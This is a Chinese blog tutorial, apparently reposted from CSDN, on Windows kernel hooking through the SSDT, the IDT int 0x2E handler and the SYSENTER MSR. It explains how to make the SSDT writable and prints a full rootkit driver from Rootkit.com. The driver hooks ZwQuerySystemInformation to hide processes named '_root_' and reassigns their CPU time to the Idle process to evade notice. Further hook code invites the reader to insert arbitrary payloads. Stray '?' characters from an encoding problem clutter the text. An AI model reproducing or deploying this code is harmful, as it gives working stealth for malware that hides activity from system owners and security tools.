【詳細(xì)過程】
? 這次主要說說核心層的hook。包括SSDT-hook,IDT-hook,sysenter-hook。歡迎討論,指正!內(nèi)核層需要驅(qū)動,有這方面的基礎(chǔ)最好,如果不會,了解下其中的思路也可以的。
?
? II. SSDT-hook,IDT-hook,sysenter-hook
? 一.SSDT-hook
? (一)一般思路:
? 1.先來了解一下,什么是SSDT
? SSDT既System Service Dispath? Table。在了解他之前,我們先了解一下NT的基本組建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系統(tǒng)服務(wù)。各種 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。這些dll中的 APIs 轉(zhuǎn)過來調(diào)用了 NT executive 提供的服務(wù)。盡管調(diào)用了相同的系統(tǒng)服務(wù),但由于子系統(tǒng)不同,API 函數(shù)的函數(shù)名也不同。例如,要用Win32 API 打開一個文件,應(yīng)用程序會調(diào)用 CreateFile(),而要用 POSIX API,則應(yīng)用程序調(diào)用 open() 函數(shù)。這兩種應(yīng)用程序最終都會調(diào)用 NT executive 中的 NtCreateFile() 系統(tǒng)服務(wù)。
系統(tǒng)組建.jpg
系統(tǒng)組件.JPG
用戶模式(User mode)的所有調(diào)用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然后通過Int 2E或SYSENTER進(jìn)入到內(nèi)核模式,通過服務(wù)ID,在System Service Dispatcher Table中分派系統(tǒng)函數(shù),舉個具體的例子,再如下圖
調(diào)用過程.jpg
調(diào)用過程.JPG
? 從上可知,SSDT就是一個表,這個表中有內(nèi)核調(diào)用的函數(shù)地址。從上圖可見,當(dāng)用戶層調(diào)用FindNextFile函數(shù)時,最終會調(diào)用內(nèi)核層的NtQueryDirectoryFile函數(shù),而這個函數(shù)的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數(shù)的地址,那么,哈哈。。。。。。。下來詳細(xì)了解一下,SSDT的結(jié)構(gòu),如下圖:
SSDT.jpg
SSDT.JPG
? KeServiceDescriptorTable:是由內(nèi)核(Ntoskrnl.exe)導(dǎo)出的一個表,這個表是訪問SSDT的關(guān)鍵,具體結(jié)構(gòu)是
? typedef struct ServiceDescriptorTable {
? PVOID ServiceTableBase;
? PVOID ServiceCounterTable(0);
? unsigned int NumberOfServices;
? PVOID ParamTableBase;
? }
?
? 其中,
? ServiceTableBase System Service Dispatch Table 的基地址。
? NumberOfServices 由 ServiceTableBase 描述的服務(wù)的數(shù)目。
? ServiceCounterTable 此域用于操作系統(tǒng)的 checked builds,包含著 SSDT 中每個服務(wù)被調(diào)用次數(shù)的計數(shù)器。這個計數(shù)器由 INT 2Eh 處理程序 (KiSystemService)更新。
? ParamTableBase 包含每個系統(tǒng)服務(wù)參數(shù)字節(jié)數(shù)表的基地址。
? System Service Dispath Table(SSDT):系統(tǒng)服務(wù)分發(fā)表,給出了服務(wù)函數(shù)的地址,每個地址4子節(jié)長。
? System Service Parameter Table(SSPT):系統(tǒng)服務(wù)參數(shù)表,定義了對應(yīng)函數(shù)的參數(shù)字節(jié),每個函數(shù)對應(yīng)一個字節(jié)。如在0x804AB3BF處的函數(shù)需0x18字節(jié)的參數(shù)。
? 還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務(wù),也就是我們常用的和窗口,桌面有關(guān)的,具體存在于Win32k.sys。在如圖:
? 服務(wù)分發(fā).jpg
服務(wù)分發(fā).JPG
? 右側(cè)的服務(wù)分發(fā)就通過KeServiceDescriptorTableShadow。
? 那么下來該咋辦呢?下來就是去改變SSDT所指向的函數(shù),使之指向我們自己的函數(shù)。
? 2.Hook前的準(zhǔn)備-改變SSDT內(nèi)存的保護(hù)
? 系統(tǒng)對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是藍(lán)臉。一般可以修改內(nèi)存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
? (1)改變CR0寄存器的第1位
? Windows對內(nèi)存的分配,是采用的分頁管理。其中有個CR0寄存器,如下圖:
CR0.jpg
cr0.jpg??
? 其中第1位叫做保護(hù)屬性位,控制著頁的讀或?qū)憣傩浴H绻麨?,則可以讀/寫/執(zhí)行;如果為0,則只可以讀/執(zhí)行。SSDT,IDT的頁屬性在默認(rèn)下都是只讀,可執(zhí)行的,但不能寫。所以現(xiàn)在要把這一位設(shè)置成1。
? (2)通過Memory Descriptor List(MDL)
? 也就是把原來SSDT的區(qū)域映射到我們自己的MDL區(qū)域中,并把這個區(qū)域設(shè)置成可寫。MDL的結(jié)構(gòu):
? typedef struct _MDL {
? struct _MDL *Next;??
? CSHORT Size;??????
? CSHORT MdlFlags;? //關(guān)鍵在這里,將來設(shè)置成MDL_MAPPED_TO_SYSTEM_VA ,這樣一來,這塊區(qū)域就可寫
? struct _EPROCESS *Process;
? PVOID MappedSystemVa;
? PVOID StartVa;
? ULONG ByteCount;
? ULONG ByteOffset;
? } MDL, *PMDL;
? 首先需要知道KeServiceDscriptorTable的基址和入口數(shù),這樣就可以用MmCreateMdl創(chuàng)建一個有起始地址和大小的內(nèi)存區(qū)域。然后把這個MDL結(jié)構(gòu)的flag改成
? MDL_MAPPED_TO_SYSTEM_VA ,那么這個區(qū)域就可以寫了。最后把這個內(nèi)存區(qū)域調(diào)用MmMapLockedPages鎖定在內(nèi)存中。大體框架如下:
? //先聲明一個System Service Descriptor Table,我們知道SSDT及SSPT都從這個表中指向
? #pragma pack(1)
? typedef struct ServiceDescriptorEntry {
?
????????? unsigned int *ServiceTableBase;
?
????????? unsigned int *ServiceCounterTableBase;
?
????????? unsigned int NumberOfServices;
?
????????? unsigned char *ParamTableBase;
?
? } SSDT_Entry;
?
? #pragma pack()
?
? __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
?
?
? /
? PMDL? g_pmdlSystemCall;
?
? PVOID *MappedSystemCallTable;
? // 代碼
? // 保存原系統(tǒng)調(diào)用位置
?
?
?
? // 映射我們的區(qū)域
?
? g_pmdlSystemCall = MmCreateMdl(NULL,
?
???????????????????? KeServiceDescriptorTable.ServiceTableBase,
?
???????????????????? KeServiceDescriptorTable.NumberOfServices*4);
?
? if(!g_pmdlSystemCall)
?
???? return STATUS_UNSUCCESSFUL;
?
? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
?
? // 改變MDL的flags
?
? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
?
?????????????????????????????? MDL_MAPPED_TO_SYSTEM_VA;
?
?
? //在內(nèi)存中索定,不讓換出
? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
?
? 現(xiàn)在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數(shù)的地址呢?
? 3.四個有用的宏
? SYSTEMSERVICE macro:可以獲得由ntoskrnl.exe導(dǎo)出函數(shù),以Zw*開頭函數(shù)的地址,這個函數(shù)的返回值就是Nt*函數(shù),Nt*函數(shù)的地址就在SSDT中
? SYSCALL_INDEX macro:獲得Zw*函數(shù)的地址并返回與之通信的函數(shù)在SSDT中的索引。
? 這兩個宏之所以能工作,是因?yàn)樗械腪w*函數(shù)都開始于opcode:MOV eax, ULONG,這里的ULONG就是系統(tǒng)調(diào)用函數(shù)在SSDT中的索引。
? HOOK_SYSCALL和UNHOOK_SYSCALL macros:獲得Zw*函數(shù)的地址,取得他的索引,自動的交換SSDT中索引所對應(yīng)的函數(shù)地址和我們hook函數(shù)的地址。
? 這四個宏具體是:
? #define SYSTEMSERVICE(_func) \
????????? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
?
? #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
?
? #define HOOK_SYSCALL(_Function, _Hook, _Orig )?????? \
?
????????? _Orig = (PVOID) InterlockedExchange( (PLONG) \
?
????????? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
?
? #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )? \
?
????????? InterlockedExchange((PLONG)?????????? \
?
????????? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
?????
? 4.小試牛刀:利用SSDT Hook隱藏進(jìn)程
? 我們所熟知的任務(wù)管理器,能察看系統(tǒng)中的所有進(jìn)程及其他很多信息,這是由于調(diào)用了一個叫ZwQuerySystemInformation的內(nèi)核函數(shù),具體結(jié)構(gòu)是:
? NTSTATUS NewZwQuerySystemInformation(
? IN ULONG SystemInformationClass,? //如果這值是5,則代表系統(tǒng)中所有進(jìn)程信息
? IN PVOID SystemInformation,? //這就是最終列舉出的信息,和上面的值有關(guān)
? IN ULONG SystemInformationLength, //后兩個不重要
? OUT PULONG ReturnLength)
? 如果用我們自己函數(shù),這個函數(shù)可以把我們關(guān)心的進(jìn)程過濾掉,再把它與原函數(shù)調(diào)換,則可達(dá)到隱藏的目的,大體思路如下:
? (1)? 突破SSDT的內(nèi)存保護(hù),如上所用的MDL方法
? (2)? 實(shí)現(xiàn)自己的NewZwQuerySystemInformation函數(shù),過濾掉以某些字符開頭的進(jìn)程
? (3)? 用上面介紹的宏來交換ZwQuerySystemInformation與我們自己的New*函數(shù)
? (4)? 卸載New*函數(shù),完成
? 具體實(shí)例:來自Rootkit.com,我做了注釋,代碼也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
??????? unsigned int *ServiceTableBase;
??????? unsigned int *ServiceCounterTableBase; //僅適用于checked build版本
??????? unsigned int NumberOfServices;
??????? unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport)? ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//獲得SSDT基址宏
#define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL? g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//獲得函數(shù)在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//調(diào)換自己的hook函數(shù)與原系統(tǒng)函數(shù)的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig )? \
?????? _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸載hook函數(shù)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )? \
?????? InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//聲明各種結(jié)構(gòu)
struct _SYSTEM_THREADS
{
??????? LARGE_INTEGER?????????? KernelTime;
??????? LARGE_INTEGER?????????? UserTime;
??????? LARGE_INTEGER?????????? CreateTime;
??????? ULONG?????????????????????????? WaitTime;
??????? PVOID?????????????????????????? StartAddress;
??????? CLIENT_ID?????????????????????? ClientIs;
??????? KPRIORITY?????????????????????? Priority;
??????? KPRIORITY?????????????????????? BasePriority;
??????? ULONG?????????????????????????? ContextSwitchCount;
??????? ULONG?????????????????????????? ThreadState;
??????? KWAIT_REASON??????????? WaitReason;
};
struct _SYSTEM_PROCESSES
{
??????? ULONG?????????????????????????? NextEntryDelta;
??????? ULONG?????????????????????????? ThreadCount;
??????? ULONG?????????????????????????? Reserved[6];
??????? LARGE_INTEGER?????????? CreateTime;
??????? LARGE_INTEGER?????????? UserTime;
??????? LARGE_INTEGER?????????? KernelTime;
??????? UNICODE_STRING????????? ProcessName;
??????? KPRIORITY?????????????????????? BasePriority;
??????? ULONG?????????????????????????? ProcessId;
??????? ULONG?????????????????????????? InheritedFromProcessId;
??????? ULONG?????????????????????????? HandleCount;
??????? ULONG?????????????????????????? Reserved2[2];
??????? VM_COUNTERS???????????????????? VmCounters;
??????? IO_COUNTERS???????????????????? IoCounters; //windows 2000 only
??????? struct _SYSTEM_THREADS????????? Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
??? LARGE_INTEGER????????? IdleTime;
??? LARGE_INTEGER????????? KernelTime;
??? LARGE_INTEGER????????? UserTime;
??? LARGE_INTEGER????????? DpcTime;
??? LARGE_INTEGER????????? InterruptTime;
??? ULONG????????????? InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
??????????? IN ULONG SystemInformationClass,
??????????????????????? IN PVOID SystemInformation,
??????????????????????? IN ULONG SystemInformationLength,
??????????????????????? OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
??????????? ULONG SystemInformationCLass,
??????????????????????? PVOID SystemInformation,
??????????????????????? ULONG SystemInformationLength,
??????????????????????? PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION??????? OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER????????? m_UserTime;
LARGE_INTEGER????????? m_KernelTime;
//我們的hook函數(shù),過濾掉以"_root_"開頭的進(jìn)程
NTSTATUS NewZwQuerySystemInformation(
??????????? IN ULONG SystemInformationClass,
??????????? IN PVOID SystemInformation,
??????????? IN ULONG SystemInformationLength,
??????????? OUT PULONG ReturnLength)
{
?? NTSTATUS ntStatus;
?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
????????? SystemInformationClass,
????????? SystemInformation,
????????? SystemInformationLength,
????????? ReturnLength );
?? if( NT_SUCCESS(ntStatus))
?? {
????? // Asking for a file and directory listing
????? if(SystemInformationClass == 5)
????? {
?????? // 列舉系統(tǒng)進(jìn)程鏈表
???? // 尋找以"_root_"開頭的進(jìn)程
????
?????????
???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
??????????? struct _SYSTEM_PROCESSES *prev = NULL;
????
???? while(curr)
???? {
??????????? //DbgPrint("Current item is %x\n", curr);
????? if (curr->ProcessName.Buffer != NULL)
????? {
??????? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
??????? {
????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
????????? if(prev) // Middle or Last entry
????????? {
??????????? if(curr->NextEntryDelta)
????????????? prev->NextEntryDelta += curr->NextEntryDelta;
??????????? else? // we are last, so make prev the end
????????????? prev->NextEntryDelta = 0;
????????? }
????????? else
????????? {
??????????? if(curr->NextEntryDelta)
??????????? {
????????????? // we are first in the list, so move it forward
????????????? (char *)SystemInformation += curr->NextEntryDelta;
??????????? }
??????????? else // we are the only process!
????????????? SystemInformation = NULL;
????????? }
??????? }
????? }
????? else // Idle process入口
????? {
???????? //? 把_root_進(jìn)程的時間加給Idle進(jìn)程,Idle稱空閑時間
?????????
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
???????? // 重設(shè)時間,為下一次過濾
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
????? }
????? prev = curr;
??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
??????? else curr = NULL;
?????? }
??? }
??? else if (SystemInformationClass == 8) // 列舉系統(tǒng)進(jìn)程時間
??? {
???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
??? }
?? }
?? return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
?? DbgPrint("ROOTKIT: OnUnload called\n");
?? // 卸載hook
?? UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
?? // 解索并釋放MDL
?? if(g_pmdlSystemCall)
?? {
????? MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
????? IoFreeMdl(g_pmdlSystemCall);
?? }
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
?????????? IN PUNICODE_STRING theRegistryPath)
{
?? // 注冊一個卸載的分發(fā)函數(shù),與與應(yīng)用層溝通
?? theDriverObject->DriverUnload? = OnUnload;
?? // 初始化全局時間為零
?? // 這將會解決時間問題,如果不這樣,盡管隱藏了進(jìn)程,但時間的消耗會不變,cpu 100%
?? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
?? // 儲存舊的函數(shù)地址
?? OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
?? // 把SSDT隱射到我們的區(qū)域,以便修改它為可寫屬性
?? g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
?? if(!g_pmdlSystemCall)
????? return STATUS_UNSUCCESSFUL;
?? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
?? // 改變MDL的Flags屬性為可寫,既然可寫當(dāng)然可讀,可執(zhí)行
?? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
?? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
?? // 用了宏,把原來的Zw*替換成我們的New*函數(shù)。至此已完成了我們的主要兩步,先突破了SSDT的保護(hù),接著用宏更改了目標(biāo)函數(shù),下來就剩下具體的過濾任務(wù)了
?? HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
?????????????????????????????
?? return STATUS_SUCCESS;
}
?
? 二.IDT hook
? (一)基本思路:IDT(Interrupt Descriptor Table)中斷描述符表,是用來處理中斷的。中斷就是停下現(xiàn)在的活動,去完成新的任務(wù)。一個中斷可以起源于軟件或硬件。比如,出現(xiàn)頁錯誤,調(diào)用IDT中的0x0E。或用戶進(jìn)程請求系統(tǒng)服務(wù)(SSDT)時,調(diào)用IDT中的0x2E。而系統(tǒng)服務(wù)的調(diào)用是經(jīng)常的,這個中斷就能觸發(fā)。我們現(xiàn)在就想辦法,先在系統(tǒng)中找到IDT,然后確定0x2E在IDT中的地址,最后用我們的函數(shù)地址去取代它,這樣以來,用戶的進(jìn)程(可以特定設(shè)置)一調(diào)用系統(tǒng)服務(wù),我們的hook函數(shù)即被激發(fā)。
? (二)需解決的問題:從上面分析可以看出,我們大概需要解決這幾個問題:
? 1.IDT如何獲取呢?SIDT指令可以辦到,它可以在內(nèi)存中找到IDT,返回一個IDTINFO結(jié)構(gòu)的地址。這個結(jié)構(gòu)中就含有IDT的高半地址和低半地址。為了方便把這兩個半地址合在一起,我們可以用一個宏。IDTINFO,和宏的結(jié)構(gòu)如下:
? typedef struct
? {
? WORD IDTLimit;
? WORD LowIDTbase;? //IDT的低半地址
? WORD HiIDTbase;??? //IDT的高半地址
? } IDTINFO;
? 方便獲取地址存取的宏
? #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
? 2.IDT有最多256個入口,我們現(xiàn)在要的是其中的0x2E,這個中斷號的入口地址如何獲取呢?
?? #pragma pack(1)
? typedef struct
? {
? WORD LowOffset;?????????? //入口的低半地址
? WORD selector;
? BYTE unused_lo;
? unsigned char unused_hi:5;???? // stored TYPE ?
? unsigned char DPL:2;
? unsigned char P:1;???????? // vector is present
? WORD HiOffset;????????? //入口地址的低半地址
? } IDTENTRY;
? #pragma pack()
? 知道了這個入口結(jié)構(gòu),就相當(dāng)于知道了每間房(可以把IDT看作是一排有256間房組成的線性結(jié)構(gòu))的長度,我們先獲取所有的入口idt_entrys,那么第0x2E個房間的地址也就可以確定了,即idt_entrys[0x2E]。
? 3.如果得到了0x2e的地址,如何用我們的hook地址改寫原中斷地址呢? 見以下核心代碼:
? DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢復(fù)hook
? #define NT_SYSTEM_SERVICE_INT 0x2e
? //我們的hook函數(shù)
? int HookInterrupts()
? {
?
???? IDTINFO idt_info;????????? //SIDT將返回的結(jié)構(gòu)
?
???? IDTENTRY* idt_entries;??? //IDT的所有入口
?
???? IDTENTRY* int2e_entry;??? //我們目標(biāo)的入口
?
???? __asm{
?
??????? sidt idt_info;???????? //獲取IDTINFO
?
???? }
??? //獲取所有的入口
???? idt_entries =
?
??? (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
? //保存真實(shí)的2e地址
???? KiRealSystemServiceISR_Ptr =
??????????????????????????????? MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
?
?????????? idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
?
??
? //獲取0x2E的入口地址
???? int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
?
???? __asm{
?
?????? cli;?????????????????????? // 屏蔽中斷,防止被打擾
?
?????? lea eax,MyKiSystemService; // 獲得我們hook函數(shù)的地址,保存在eax
?
?????? mov ebx, int2e_entry;????? // 0x2E在IDT中的地址,ebx中分地高兩個半地址
?
?????? mov [ebx],ax;????????????? // 把我們hook函數(shù)的地半地址寫入真是第半地址
?
???? shr eax,16???????????????? //eax右移16,得到高半地址
?
?????? mov [ebx+6],ax;?????????? // 寫入高半地址
?
???? sti;????????????????????? //開中斷
?
???? }
?
???? return 0;
?
? }
具體代碼見:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
? (三)注意點(diǎn):
? 1.每個處理器都有個IDT,所以對于多CPU一定要注意,所有的IDT都要hook。
? 2.在winxp,win2k3,vsta下失效。
?
? 三.SYSENTRY hook
? 為了性能的考慮,xp后的系統(tǒng)都改用sysentry命令來進(jìn)入ring0,去調(diào)用SSDT中的服務(wù),不再是通過IDT中的 int 2E。這也使得我們hook也變得相對容易了。
? 首先獲得sysentry的地址,然后改之,不用再考慮IDT了。見下面的代碼:
? #include "ntddk.h"
?
? ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
?
? VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
? {
??? DbgPrint("ROOTKIT: OnUnload called\n");
? }
?
? // Hook function
? __declspec(naked) MyKiFastCallEntry()
? {
??? __asm {
????? jmp [d_origKiFastCallEntry]? //這啥都沒做,換成你想干的
????????? }
? }
?
? NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
? {
??? theDriverObject->DriverUnload? = OnUnload;
?
??? __asm {
???????????????????? mov ecx, 0x176????????????????
????? rdmsr????????????????????????? // 讀IA3_SYSENTER_EIP寄存器值,存有sysenter的地址????????????
????? mov d_origKiFastCallEntry, eax //保存原值,以便恢復(fù)
????? mov eax, MyKiFastCallEntry???? // hook函數(shù)地址
????? wrmsr????????????????????????? // 將hook函數(shù)移入IA32_SYSENTER_EIP寄存器
??? }
?
??? return STATUS_SUCCESS;
? }
?
?
?基本的改變數(shù)據(jù)結(jié)構(gòu)的hook就說到這里,當(dāng)然還有DKOM這種高級的技術(shù),有興趣的自己去看看吧。
本文來自CSDN博客,轉(zhuǎn)載請標(biāo)明出處:http://blog.csdn.net/geagle/archive/2007/05/07/1598610.aspx